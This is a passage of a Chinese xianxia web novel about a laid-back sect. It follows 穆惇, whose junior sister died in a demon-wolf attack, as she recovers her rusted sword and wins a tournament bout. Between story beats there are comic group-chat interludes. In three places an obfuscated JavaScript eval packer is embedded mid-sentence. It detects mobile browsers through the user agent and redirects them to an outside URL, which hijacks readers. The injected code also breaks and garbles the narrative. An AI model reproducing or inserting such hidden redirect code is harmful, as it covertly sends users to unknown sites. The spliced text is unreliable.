她一点都不怕,一路上叽叽喳喳:“师兄,我听说秘境里有会发光的草!”“师兄,我听说有能让人长高的果子!”“师兄,我要是找到那种果子,一定分你一半!” 他跟在她身后,看着她蹦蹦跳跳的背影,嘴角弯着。 然后遇到了妖兽。 那是一只五阶的妖狼,本不该出现在秘境边缘。 它扑过来的时候,他下意识挡在她面前。 但他的剑太慢了。 他从来都不是天才,剑法平平,修为平平,只有沉默是擅长的。 妖狼的爪子拍下来,他想,完了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387668|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后一个人影冲过来,挡在他面前。 是大师姐。 穆惇那时候还不是只会种地的农妇。她的剑快得像一道光,一剑斩断了妖狼的前爪,又一剑刺穿了它的喉咙。 妖狼倒下去的时候,他松了口气。 然后他听见身后传来一声闷哼。 他回头。 师妹被另一只妖狼扑倒了。 那只妖狼从暗处窜出来,趁他们不注意,扑向了她。 穆惇冲过去的时候,已经晚了。 妖狼的爪子贯穿了她的胸口。 穆惇一剑斩了妖狼,抱住她。 他跑过去,跪在她面前,浑身发抖。 她躺在大师姐怀里,脸色白得像纸,胸口一片血红。 她看着他,嘴唇动了动。 “师兄……” 他握住她的手,张了张嘴,想说点什么,却一个字都说不出来。 她的声音很轻,轻得像风。 “师兄,你再不说话……就没人陪你说话了……” 他眼泪掉下来,砸在她脸上。 她笑了,笑得像平时一样好看。 “你的剑……要是会说话就好了……” 然后她的眼睛闭上了。 再也没有睁开。 那天晚上,穆惇背着她走出秘境。 他跟在后面,一路沉默。 回到宗门后,他把自己关在屋里,三天三夜没出来。 第四天早上,他出来了。 他走到穆惇面前,第一次开口说话。 “师姐,”他说,“我以后叫牧殇。” 殇,是还没长大就死去的孩子。 穆惇看着他,眼眶红了。 从那以后,他成了话痨。 而师姐,那个被誉为“百年难遇的剑道奇才”,十岁筑基,十五岁金丹的师姐从那以后,她一拿剑就想起师妹的血,灵力失控,沦为“废物”,这些,都是他害的。 师姐明明最渴望飞升,也最有望飞升。 他们二人从原宗门退了出来,来到了躺平宗,遇见了这位与众不同的掌门。 从那以后,他说很多很多话,说给所有人听。他追着别人聊天,从早说到晚,说到别人都嫌他烦。 只有他自己知道。 他不是想说。 是怕一安静下来,就再也听不到她的声音了。 月光从柴房的窗户照进来,落在牧殇脸上。 他睁着眼睛,看着屋顶。 手里握着那把剑。 剑是普通的剑,没有任何特别的地方。但他一直带着,从不离身。 他把它举起来,对着月光。 剑身反射出冷冷的白光。 “师妹,”他轻声说,“我现在会说话了。说了很多很多话。有时候说到别人都嫌烦。” 他顿了顿。 “你听到了吗?” 没有人回答。 只有月光,静静地洒着。 门外传来轻轻的脚步声。 牧殇没动。 脚步声停在门口,然后是一阵窸窸窣窣的声音。 门缝里塞进来一个东西。 是一个小布袋。 牧殇坐起来,拿过来打开。 是一包瓜子。 布袋上压着一张纸条,字迹歪歪扭扭的,一看就是祁幻写的: “听说嗑瓜子能让人心情好。别谢我,谢我的话瓜子钱从你下辈子零花钱里扣。” 牧殇看着那张纸条,愣了好久。 然后他笑了。 笑着笑着,眼泪就下来了。 他把瓜子抱在怀里,像抱着什么宝贝。 柴房外面,祁幻蹲在墙角,竖起耳朵听里面的动静。 听到那一声笑,他松了口气。 他站起来,拍了拍屁股上的灰,往回走。 走了两步,看见歪脖子树下蹲着一个人。 归尘。 月光下,他静静的坐在那里,看着他。 祁幻愣了一下:“前辈,您还没睡?” 归尘没回答,只是冲他点了点头。 祁幻挠挠头,不知道该说什么,干脆也蹲下来。 两人一起嗑瓜子。 “咔”,“咔”,“咔”。 过了好一会儿,祁幻小声问:“前辈,您是不是也睡不着?” 归尘沉默了一会儿。 “嗯。”他说。 祁幻没问为什么。 两人就这么蹲着,看着月亮。 远处传来一阵若有若无的歌声—— 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日支出:无。今日进账:二十两(白鹤鸣赔偿)。结余:一百六十二两又七百八十文。备注:牧殇那包瓜子是我从赔偿款里扣的,已经记账了,下次从他零花钱里扣。 赵铁柱:…… 赵铁柱:谢谢。 钱多多:??? 钱多多:你说什么? 赵铁柱:我说谢谢。 钱多多:…… 钱多多:你没事吧? 赵铁柱:没事。就是谢谢。 王甜甜:二师兄,你是不是发烧了? 赵铁柱:没有。 李翠花:。 典星河:@赵铁柱,瓜子好吃吗? 赵铁柱:好吃。 典星河:那就行。 归尘:明天还有。 赵铁柱:前辈…… 归尘:瓜子管够。 赵铁柱:…… 赵铁柱:谢谢大家。 钱多多:行了行了别谢了,肉麻死了。睡觉睡觉! (系统提示:用户“钱多多”已离线) 王甜甜:二师兄晚安! 李翠花:晚安。 典星河:睡吧。 归尘:安。 赵铁柱:嗯,晚安。 月光下,柴房里,牧殇抱着那包瓜子,闭上眼睛。 耳边仿佛又响起那个叽叽喳喳的声音。 “师兄师兄师兄——” 他嘴角弯了弯。 “嗯,我在听。”他轻声说。 然后,沉沉睡去。 8. 生锈的剑 青云宗的战书是中午送来的。 送信的还是白鹤鸣。他站在山门外两步远的地方,表情比前几次来都复杂——紧张里带着好奇,好奇里带着一丝“我就是个跑腿的别打我”的卑微。 祁幻接过来一看,愣住了。 “青云论剑大会?”他念出声来,“特邀贵宗穆惇师姐参加……” 他抬起头,看向白鹤鸣。 白鹤鸣往后退了一步。 “那个……是我师父的意思。”他飞快地说,“他说,久闻躺平宗穆师姐当年剑法超群,想请她来切磋切磋。不是打架,就是……就是切磋!友谊第一,比赛第二!输了还有奖品!” 他从怀里掏出一个盒子,打开。 里面是一株灵芝,通体紫色,隐隐有流光转动。 “千年紫灵芝,”白鹤鸣说,“疗伤圣品,市面上至少值三百两。” 祁幻眼睛亮了。 但他没接,而是转头看向身后。 穆惇站在灵田边上,手里还握着锄头,表情和平时一样——面无表情。 但她握着锄头的手,指节微微泛白。 祁幻张了张嘴,不知道该说什么。 他知道的,穆师姐从不碰剑,可他也不知道为什么? 可一听姓白的这么说……师姐当年,是一个很厉害的人物…… 可为什么现在…… 他偷偷看了一眼穆惇的背影。 那个背影站得很直,但不知道为什么,他觉得那笔直的背影里,藏着什么东西。 典星河从摇椅上坐起来,走过来接过战书,看了一眼。 然后她看向穆惇。 “穆惇,”她说,“你想去吗?” 穆惇沉默了很久。 久到白鹤鸣开始不安地挪动脚步,久到牧殇停止了嗑瓜子。 然后穆惇开口了。 “不去。”她说。 声音很平静。 她转身,继续给灵田施肥。 白鹤鸣愣住了。 “那个……奖品是千年紫灵芝……” “不去。” “就切磋一下,不用赢,走个过场就行……” “不去。” 白鹤鸣张了张嘴,看向典星河。 典星河叹了口气,把战书塞回给他。 “回去告诉你师父,”她说,“我们穆师姐最近忙着种地,没空。” 白鹤鸣走了。 带着一脸茫然和一肚子疑问。 那天下午,穆惇一直在灵田里干活。 锄地,施肥,浇水,除草。 一刻不停。 太阳很大,晒得她后背的衣裳都湿透了,她也不停。 祁幻看了好几次,欲言又止。 牧殇难得安静,蹲在角落里,看着穆惇的背影,眼神复杂。 他比任何人都懂那个背影。 因为他也曾经这样过——用忙碌把自己埋起来,埋到没有力气去想,埋到倒头就能睡着,埋到一闭眼就是黑暗。 但没用。 那些东西,白天埋得再深,晚上还是会爬出来。 宋栀子想过去帮忙,被典星河一把拽住。 “别去。”典星河说。 “可是穆师姐……” “让她自己待着。” 宋栀子不明白,但她听话,乖乖蹲回门口。 归尘蹲在歪脖子树下,嗑着瓜子,看着灵田的方向。 他什么都没说。 但他知道,那样的背影,他见过太多次了。 三千年来,他见过无数个这样的背影。 每一个,都在用忙碌逃避着什么。 他曾经也是。 太阳落山了。 穆惇终于停下来。 她把锄头靠在田边,走到井台边,打了桶水,洗了把脸。 然后她坐在井台上,看着远处的晚霞。 一动不动。 晚饭做好了。祁幻喊她,她说“不饿”。宋栀子端了碗过去,她说“放着吧”。典星河亲自去叫,她还是那句话——“不饿”。 最后,所有人都回屋了。 只剩下归尘。 他蹲在歪脖子树下,继续嗑瓜子。 穆惇坐在井台上,一动不动。 月亮升起来了。 月光洒在灵田里,洒在新修的茅房上,洒在那把靠在田边的锄头上。 也洒在穆惇身上。 归尘站起来,走到她旁边,坐下。 没说话。 穆惇也没说话。 两人就这么坐着,看月亮。 过了很久很久,穆惇突然开口。 “前辈,”她说,“您以前……有没有过……不想面对的东西?” 归尘沉默了一会儿。 “有。”他说。 “那您怎么做的?” 归尘想了想。 “逃。”他说,“逃了三千年。” 穆惇转头看他。 月光下,这个老头的侧脸很平静,像一潭深水。 “后来呢?”她问。 “后来发现逃不掉。”归尘说,“逃到哪里,它都跟着。” 穆惇沉默了。 归尘从怀里掏出一把瓜子,递给她。 “嗑吗?” 穆惇看着那把瓜子,愣了几秒。 然后她接过来,嗑了一颗。 “咔”。 归尘也嗑了一颗。 “咔”。 两人一起嗑瓜子,一起看月亮。 过了好一会儿,归尘说:“你想说说吗?” 穆惇没回答。 但是不久,她开口了。 声音很轻,轻得差点被风吹散。 “我十岁筑基。” 她说。 “十五岁金丹。师父说,我是百年难遇的剑道奇才。” 归尘点点头,没打断。 “那时候我什么都不怕。觉得自己天下第一,什么秘境都敢闯,什么妖兽都敢杀。” 她顿了顿。 “然后我带他们去了万妖谷。” “他们”——是师弟和师妹。 师弟不爱说话,整天闷闷的,像个木头桩子。但每次师妹凑过去叽叽喳喳,他的嘴角就会弯一弯,弯得很浅。 师妹爱说话,整天追着师弟跑。她叫他“木头师兄”,叫得可顺口了。她总说:“木头师兄不说话,那我说给他听呀!” 她说了很多很多话。 从天气说到花草,从花草说到练剑,从练剑说到食堂的馒头不够软。 师弟就听着,偶尔点个头,偶尔“嗯”一声。 穆惇看着他们,心里觉得挺好。 师妹十四岁了,活泼得像只小鸟。师弟虽然闷,但看师妹的眼神,总是温温的。 她想,等他们再长大一点,就可以一起出去历练了。 她可以教他们剑法,教他们怎么在秘境里活下来。 她可以护着他们,让他们慢慢成长。 “那个秘境,我走过三次了。”穆惇说,“我以为很安全。我以为我能护住他们。” 她的声音开始发颤。 “我走了一条近路。那条路我没走过,但我以为……以我的剑法,什么都能应付。” 归尘没说话。 月光静静地照着。 “然后遇到了妖狼。”穆惇说,“五阶的。不该出现在那里的。” 她的手指开始发抖。 “我挡住了一只。我以为……只有一只。” 她闭上眼睛。 “另一只从暗处扑出来。扑向了她。” “她那时候才十四岁。刚筑基不久。连剑都还没握稳。” “我回头的时候,已经晚了。” 她的声音停了。 过了很久,才继续。 “她躺在我怀里,浑身是血。她想说话,但说不出来。她看着我,一直看着我。” “师弟跪在旁边,浑身发抖。他张着嘴,想说点什么,一个字都说不出来。” “然后她闭上了眼睛。” 穆惇低下头。 月光落在她肩上,像一层霜。 “从那以后,我再也握不了剑。”她说,“一握剑,就会想起那个画面。她的手,她的血,她的眼睛。” “师父说我这是心魔。说我要克服它。说我是天才,不能就这么废了。” 她摇摇头。 “我不是天才。我只是个……害死自己师妹的废物。” 归尘沉默了很久。 然后他开口了。 “你后来种地了。”他说。 穆惇点头。 “种了十年。” “种得好吗?” 穆惇愣了一下。 “好。”她说,“很好。我种的萝卜,比谁都甜。” 归尘点点头。 “那就够了。” 穆惇看着他。 归尘说:“剑握不了,就不握。种地种得好,就种地。没什么大不了的。” 穆惇张了张嘴。 “可是……我师妹……” “她不会怪你。” 穆惇愣住了。 归尘看着月亮,声音很轻。 “我师父死的时候,我也觉得是我害了他。”他说,“三千年了,我一直这么觉得。” “但后来我想明白了。” “他送我走,不是让我替他死。是让我替他活。” 他转头看向穆惇。 “你师妹死在你怀里,她最后看着你——你觉得她想说什么?” 穆惇的眼泪掉了下来。她张了张嘴,想说点什么,但喉咙像是被堵住了,一个字都说不出来。 归尘没再说下去。 他站起来,拍了拍身上的瓜子壳。 “那把剑,”他说,“你还留着吗?” 穆惇点头。 “在哪儿?” 穆惇指了指柴房的方向——她住的那间,床底下。 归尘点点头,往回走。 走了两步,又回头。 “明天,”他说,“拿出来晒晒太阳。生锈了就不好修了。” 他走了。 穆惇一个人坐在井台上,抱着膝盖,哭得像个孩子。 那天晚上,柴房里很安静。 穆惇躺在她那张硬木板床上,睁着眼睛看屋顶。 床底下有一个木匣子,落了厚厚的灰。 她十年没打开过。 她知道里面是什么。 那把剑。她十五岁那年,师父送给她的。剑身是玄铁打的,剑柄上刻着她的名字。她曾经用它斩过无数妖兽,曾经觉得它会陪她一辈子。 后来她把它塞进了床底下。 再也没拿出来过。 她翻了个身,闭上眼睛。 睡不着。 脑子里全是那个画面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387669|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>师妹躺在她怀里,血从胸口涌出来,染红了她的衣服,染红了她的手。师妹的嘴唇动了动,想说什么,但只发出一点点气声。 她凑过去听。 师妹说:“师姐……别难过……” 她没听懂。 后来很多年,她都没听懂。 现在她好像有点懂了。 “别难过。” 不是“对不起”,不是“救我”,不是“我不想死”。 是“别难过”。 穆惇的眼泪又流了下来。 她捂住嘴,不让自己发出声音。 第二天早上,阳光很好。 穆惇没有去灵田。 她坐在柴房门口,面前摆着一把剑。 剑身生满了锈,剑柄上的缠绳已经烂了大半。它就那么躺在那里,像一个被遗忘了很久的故人。 牧殇远远地看着,不敢靠近。 典星河靠在主殿门口,看着穆惇的背影。 穆惇伸出手,轻轻摸了摸剑身。 锈迹硌手,粗糙得像砂纸。 她的手指沿着剑身慢慢移动,摸过每一个锈斑,每一道划痕。 然后她握住剑柄。 手指收紧。 颤抖。 但没有松开。 阳光照在她身上,照在那把生锈的剑上。 她握着它,一动不动。 过了很久很久。 她站起来。 拿起剑,走向灵田。 走到田边,她停下来,举起剑,对着太阳。 锈迹斑斑的剑身,反射出一点微弱的光。 她看着那点光,嘴角弯了弯。 然后她把剑插进土里,立在田边。 和那把锄头并排。 她转身,走回柴房。 没回头。 牧殇看着穆惇的背影,眼眶发红。 他想起了自己的剑,那把被他当麦克风用的剑。他想起师妹说过的话:“你的剑要是会说话就好了。”他想起那天在秘境里,他跪在穆惇旁边,看着师妹闭上眼睛,一个字都说不出来。 他知道那个滋味。 宋栀子抱着玩偶,那是掌门有一年送她的生辰礼,眼睛红红的——她不知道什么时候也哭了。 她不知道为什么哭,就是看见穆惇那个样子,心里难受得不行。 典星河仍靠在主殿门口,她什么都没说。 她知道,有些路,得自己走。 傍晚,祁幻去灵田里查看,发现了那把剑。 他愣了一会儿,然后跑回主殿。 “掌门!”他喊,“穆师姐的剑还在——” 典星河躺在摇椅上,眼睛都没睁。 “看见了。” “那……那是……” “她想通了。”典星河说,“或者,正在想通。” 祁幻不知道该说什么。 归尘仍蹲在歪脖子树下,嗑着瓜子。 宋栀子凑过去,小声问:“归爷爷,穆师姐会好吗?” 归尘想了想。 “会。”他说。 “什么时候?” 归尘看向灵田的方向。 那把剑立在夕阳里,和锄头并排,像两个沉默的老友。 “等她能拿起那把剑的时候。”他说。 晚饭的时候,穆惇出来了。 她坐到桌边,端起碗,开始吃饭。 和平时一样——面无表情,一言不发。 但祁幻注意到,她夹了一块红烧肉,放进嘴里,嚼了嚼,然后说:“有点咸。” 祁幻愣了一下。 “我、我下次少放点盐!” 穆惇点点头,继续吃。 牧殇看着她,张了张嘴,想说点什么。 穆惇先开口了。 “牧殇,”她说,“你瓜子还有吗?” 牧殇愣住了。 “有、有!” 他手忙脚乱地从怀里掏出一包瓜子,递过去。 穆惇接过来,嗑了一颗。 “咔”。 归尘在旁边笑了。 典星河也笑了。 宋栀子眨眨眼,也笑了。 祁幻不知道笑什么,但看着大家都笑,他也跟着笑起来。 笑声飘荡在暮色里。 穆惇嘴角弯了弯,继续嗑瓜子。 嗑瓜子,有时候也是一种趣事。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日无事。穆师姐……嗯,没事。 赵铁柱:真的没事么师姐? 李翠花:师姐,不哭。 李翠花:那把剑,晒过太阳了。 钱多多:!!! 赵铁柱:师姐……我替你高兴。 典星河:感觉怎么样? 李翠花:锈了。 归尘:能修。 李翠花:嗯。 钱多多:穆师姐……你还好吗? 李翠花:好。 钱多多:真的? 王甜甜:穆师姐,我帮你修剑吧!我修东西可厉害了! 钱多多:你修的东西都会炸! 王甜甜:那是意外! 李翠花:不用修。 李翠花:放着就行。 月光下,灵田边,那把生锈的剑立在土里。 旁边是锄头。 一切都很安静。 一切都在慢慢变好。 9. 锄头与剑 那把剑在灵田边立了三天。 三天里,穆惇每天照常干活——锄地,施肥,浇水,除草。她从那把剑旁边走来走去,有时候离得很近,有时候离得很远,但从来没有多看它一眼。 就好像它不存在。 但祁幻注意到,每次穆惇经过那把剑,脚步都会顿一顿。很轻的一顿,不仔细看根本看不出来。 他看了三天,憋了三天,终于忍不住问典星河。 “掌门,”他小声说,“穆师姐那把剑……就放在那儿了?” 典星河躺在摇椅上,晒着太阳。 “嗯。” “她不收起来?” “不收。” “那……那是要干嘛?” 典星河睁开一只眼,看了他一眼。 “你那么多问题,自己去问她。” 祁幻缩了缩脖子。 他不敢。 第四天早上,山门外又来了人。 还是白鹤鸣。 他站在老地方,不敢越界——表情比上次更复杂。 祁幻走出去,看着他。 “又干嘛?” 白鹤鸣深吸一口气,说:“我师父让我来问问,穆师姐考虑得怎么样了?” 祁幻愣了一下。 “考虑什么?” “就……那个大会。”白鹤鸣说,“后天就开始了。我师父说,如果穆师姐愿意来,他可以把出场费再提一提。” 他从怀里掏出一个更大的盒子,打开。 里面是一株更大的灵芝,紫得发黑,灵气逼人。 “千年紫灵芝王,”白鹤鸣说,“值五百两。” 祁幻眼睛又亮了。 但他没接,而是转头看向身后。 穆惇站在灵田边上,手里握着锄头,背对着他们。 她好像没听见。 祁幻张了张嘴,不知道该说什么。 白鹤鸣等了半天,没等到回应,忍不住小声问:“那个……穆师姐是不是……” “她听见了。”一个声音从旁边传来。 白鹤鸣转头,看见牧殇蹲在歪脖子树下。 “听见了为什么不……” “不想理你呗。”牧殇说。 白鹤鸣:“……” 祁幻:“……” 白鹤鸣站在原地,走也不是,留也不是。 就在这时,穆惇动了。 她把锄头往田边一靠,转身走了过来。 白鹤鸣下意识往后退了一步。 穆惇走到他面前,站定。 她看着他,面无表情。 白鹤鸣紧张得手心冒汗。 “那个……穆师姐……” 穆惇伸出手。 白鹤鸣吓得闭上眼睛。 然后他感觉手里的盒子被拿走了。 他睁开眼,看见穆惇正在端详那株灵芝。 “五百两?”她问。 白鹤鸣疯狂点头。 穆惇把盒子盖上,转身往回走。 走了两步,又回头。 “告诉你们掌门,”她说,“我去。” 白鹤鸣愣住了。 “去、去参加大会?” “嗯。” “真、真的?” 穆惇没回答,继续往回走。 白鹤鸣站在原地,愣了三秒,然后转身就跑——跑了两步又回头,冲祁幻喊:“后天巳时!青云宗演武场!别忘了!” 然后一溜烟跑了。 祁幻捧着那个盒子,整个人都是懵的。 他走回主殿,把盒子放在典星河面前。 “掌门,”他说,“穆师姐……答应了。” 典星河睁开眼,看了一眼盒子。 “看见了。” “那……那怎么办?” “什么怎么办?” “就……那个大会!穆师姐要去参加大会!” 典星河坐起来,看着他。 “她想去,就让她去。有什么问题?” 祁幻张了张嘴。 问题大了去了! 穆师姐十年没握过剑了!她连碰都不敢碰!现在要去参加论剑大会?!跟人比剑?! 这个栖云子得不到躺平宗的土地,就诚心在大会上让躺平宗出丑,真是卑鄙无耻! 但他说不出来。 他只是看着典星河,一脸焦虑。 典星河叹了口气。 “祁幻,”她说,“你知道那把剑为什么插在田边吗?” 祁幻摇头。 “她在试。”典星河说,“试自己能不能走过去,试自己能不能看它,试自己能不能——有一天——再拿起它。” 她看向灵田的方向。 “这个大会,就是那一天。” 那天下午,穆惇没有去灵田。 她坐在柴房门口,面前摆着一把剑。 就是那把——从床底下拿出来的,在田里插了三天,生满了锈的那把。 剑身斑驳,锈迹层层叠叠,像十年的时光一层一层糊在上面。 她用一块布,慢慢地擦。 锈迹很厚,擦起来很费力。她擦得很慢,一下,一下,一下。 牧殇蹲在远处,看着她。 他看了很久,终于站起来,走了过去。 他在穆惇旁边蹲下,没说话。 穆惇也没说话。 两人就这么蹲着,一个擦剑,一个看。 过了好一会儿,牧殇开口了。 “师姐,”他说,“我帮你吧。” 穆惇看了他一眼。 牧殇从怀里掏出一块布,开始擦剑的另一面。 两人一起擦。 锈迹簌簌地往下掉。 擦着擦着,牧殇突然说:“师姐,你知道吗,我以前那把剑,也被我扔过。” 穆惇手上的动作顿了顿。 “扔了三年。”牧殇说,“后来我又捡回来了。” 他没说为什么。 穆惇也没问。 两人继续擦。 锈迹慢慢变薄,露出底下暗沉的剑身。 牧殇看着那剑身,轻声说:“她以前说过,我的剑要是会说话就好了。所以我现在天天跟它说话。说到它烦,说到它不想听。” 他笑了笑,笑得有点苦。 “但它从来没回答过我。” 穆惇沉默了很久。 然后她说:“它回答了。” 牧殇抬头看她。 穆惇看着手里的剑,声音很轻。 “你每次说话的时候,它在听。” 牧殇愣住了。 他低头看着自己那把剑——就挂在腰间,被他当麦克风用了十年。 “它在听?”他喃喃地重复。 穆惇没再说话。 两人继续擦剑。 夕阳照在他们身上,把影子拉得很长很长。 那天晚上,穆惇没有和大家一起吃晚饭。 她坐在井台上,面前摆着那把剑。 剑身的锈已经擦掉了一大半,露出底下斑驳的纹路。有些地方还留着锈迹,擦不掉的——那是锈得太深,已经渗进铁里了。 剑柄上的缠绳被她拆掉了,换上了新的麻绳,一圈一圈缠得很紧。 她就这么看着它,一动不动。 归尘走过来,在她旁边坐下。 “明天去?”他问。 穆惇点点头。 “怕吗?” 穆惇沉默了一会儿。 “怕。”她说。 归尘没说话。 穆惇看着那把剑,声音很轻。 “我怕拿起它的时候,手会抖。我怕想起那个画面。我怕……我还是那个废物。” 他说,“不是废物。” 过了好一会儿,归尘说:“明天拿起来的时候,别想着赢。” 穆惇转头看他。 “那想什么?” 归尘想了想。 “想她。” 穆惇愣住了。 归尘站起来,拍了拍身上的瓜子壳。 “你师妹最后说的那句话,你听见了。” 他往回走。 走了两步,又回头。 “明天,让她看看你。” 他走了。 穆惇坐在井台上,看着那把剑,看了很久很久。 月光洒在剑身上,反射出淡淡的冷光。 她伸出手,轻轻摸了摸剑身。 “师妹,”她轻声说,“明天……你看看我。” 剑身沉默着。 但她好像听见了什么。 第二天早上,穆惇起得很早。 早饭的时候,气氛很怪。 祁幻端着碗,吃一口,看穆惇一眼。吃一口,看穆惇一眼。 穆惇被他看得烦了,放下碗。 “有话就说。” 祁幻吓了一跳。 “没、没什么……” 穆惇看着他。 祁幻憋了半天,憋出一句:“那个……师姐,你……你加油。” 穆惇愣了一下。 然后她点点头。 “嗯。” 宋栀子举手:“师姐,我跟你去!我给你加油!” 穆惇看着她。 宋栀子眼睛亮亮的,一脸期待。 穆惇想了想,点点头。 “行。” 宋栀子高兴得差点跳起来。 牧殇也举手:“我也去!” 穆惇看了他一眼。 “你也去?” “我去给你呐喊助威!”牧殇拍着胸脯,“我嗓门大,能喊很久!” 祁幻小声说:“你那是话多……” 牧殇瞪他:“闭嘴!” 祁幻看向典星河:“掌门,你去吗?” 典星河躺在摇椅上,慢悠悠地说:“去。都去了,留我看家干嘛?我又不是看门狗。” 祁幻眼睛一亮。 归尘蹲在歪脖子树下,嗑着瓜子。 穆惇看向他。 “前辈,您去吗?” 归尘想了想。 “去。”他说,“我也不是。” 众人大笑出声。 巳时,青云宗演武场。 人山人海。 青云宗不愧是方圆五百里有名的卷王宗门,一场论剑大会,愣是办出了武林盛典的架势。演武场四周坐满了人,有青云宗本门的,有其他宗门来凑热闹的,还有一堆来看热闹的散修。 贵宾席设在正中央,视野最好的位置。 栖云子坐在主位上,旁边是几个其他宗门的掌门、长老。凤栖没坐在贵宾席——他站在台下人群里,一身红衣,悠闲地剥着橘子,时不时抬头看一眼台上。 躺平宗一行人走进演武场。 没有人迎接,没有人打招呼。 她得知的第一场对手是青云宗内门弟子李长青,金丹中期,剑法以快著称。 宋栀子拉着她的手,小声说:“师姐加油!” 穆惇点点头。 牧殇蹲在旁边,开始给穆惇做赛前心理辅导——虽然他辅导的方式就是不停地说话。 “师姐你别紧张,那个李长青我听说过,就是个花架子,看着快其实没什么真本事——” “牧殇。”穆惇打断他。 “嗯?” “闭嘴。” 牧殇乖乖闭嘴。 祁幻在旁边偷笑。 --- 一个青云宗弟子跑过来,公事公办地问:“哪位是穆惇师姐?选手休息区在那边。” 穆惇点点头,跟着他走。 典星河带着其他人,自己找位置坐下——不是什么贵宾席,就是普通观众席,位置还有点偏。 祁幻左右看看,小声说:“掌门,咱们怎么坐这儿?” 典星河翘起二郎腿,从怀里掏出瓜子。 “不然呢?人家又没请咱们。” 祁幻张了张嘴,没话说。 归尘蹲在她旁边,也掏出瓜子。 两人一起嗑。 “咔”,“咔”,“咔”。 比赛开始了。 李长青走上台,白衣飘飘,剑眉星目,手里握着一把寒光闪闪的剑。 台下有人在喊:“李师兄加油!”“李师兄让她见识见识什么叫剑法!” 李长青微微一笑,冲台下拱了拱手。 穆惇从休息区走出来。 她走得很慢,一步一步。 手里握着那把剑——剑身暗沉,锈迹斑斑,在阳光下显得格外破旧。 台下有人认出来了。 “诶那不是躺平宗那个种地的吗?” “手里拿的什么玩意儿?破铜烂铁?” “听说十年没握剑了,真的假的?” “那还来干嘛?送人头吗?” “青云宗怎么什么人都让参加?” 嘲笑声此起彼伏。 祁幻听得脸都黑了。 但他不敢出声。 典星河继续嗑瓜子,表情平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慢得像春天里柳枝抽出的第一片新芽,慢得像黄昏时最后一缕晚霞沉入山峦。 但就是这一剑,恰恰拦住了李长青那快如闪电的一剑。 “铛——” 一声清响。 两剑相交。 李长青的剑停在半空,再也刺不下去。 他低头看着自己的剑,又抬头看着穆惇,眼睛里全是不可思议。 穆惇看着他,眼神依然平静。 “你太快了。”她说。 李长青没听懂。 穆惇继续说:“快,但飘。脚下不稳,腰里没力。刺出去的时候,肩膀是歪的。” 她收剑,后退一步。 “你练了多久?” 李长青下意识回答:“十、十二年……” 穆惇点点头。 “十二年,”她说,“练成这样,不容易。” 她转身,往台下走。 走了两步,又回头,看了一眼李长青手里的剑。 “剑是好剑,”她说,“人还得再练练。” 她走了。 李长青站在台上,握着剑,一动不动。 台下鸦雀无声。 三秒后,掌声爆发。 不是热烈的掌声,但确确实实是掌声。 有人在喊:“好剑法!” 有人在问:“她是谁?” 有人小声说:“躺平宗那个种地的……” 台下,祁幻张大了嘴。 “穆师姐……赢了?” 牧殇猛点头:“赢了赢了赢了!!” 宋栀子跳起来:“师姐好厉害!!” 典星河嘴角弯了弯,继续嗑瓜子。 贵宾席上,不断有人问起,“那个穆惇,什么来路?” 栖云子轻声说了几句。 台下人群里,凤栖剥着橘子,看着穆惇走下台的背影,嘴角带着一丝玩味的笑。 “有意思。”他轻声说。 穆惇走到躺平宗众人面前,站定。 祁幻看着她,激动得说不出话。 穆惇看了他一眼。 “晚上吃什么?” 祁幻愣住了。 “啊?” “晚上吃什么。”穆惇重复了一遍,“我饿了。” 祁幻张了张嘴,又闭上,又张开。 最后憋出一句:“红烧……红烧肉?” 穆惇点点头。 “行。” 她转身,往休息区走。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日战报:穆师姐第一场赢了!!!赢了!!! 王甜甜:我看见了我看见了!!师姐好厉害!! 赵铁柱:师姐那个收剑的动作,帅呆了!! 典星河:@李翠花,感觉怎么样? 李翠花:饿。 典星河:…… 归尘:@祁幻,多买点肉。 钱多多:好好好!! 赵铁柱:师姐,你那个“你练了十二年”那段,太绝了!那小子脸都绿了! 李翠花:实话。 王甜甜:哈哈哈哈哈哈 钱多多:师姐,下一场什么时候? 李翠花:下午。 典星河:@穆惇,剑还好吗? 李翠花:好,锈的。 李翠花:但能用。 归尘:能修。 李翠花:不用修。 钱多多:对了,掌门今天坐在普通席上嗑瓜子! 典星河:怎么了? 钱多多:没、没什么……就是觉得……挺亲民的。 典星河:…… 赵铁柱:哈哈哈哈哈哈“亲民”! 王甜甜:掌门最亲民!(???) 归尘:+1 李翠花:+1 钱多多:+1 10. 剑里有她 穆惇的第一场打完,休息区里安静了好一会儿。 宋栀子一直抱着她的胳膊不肯撒手,眼睛亮晶晶的:“师姐你刚才那个剑招怎么那么慢?慢悠悠的就把人拦住了?” 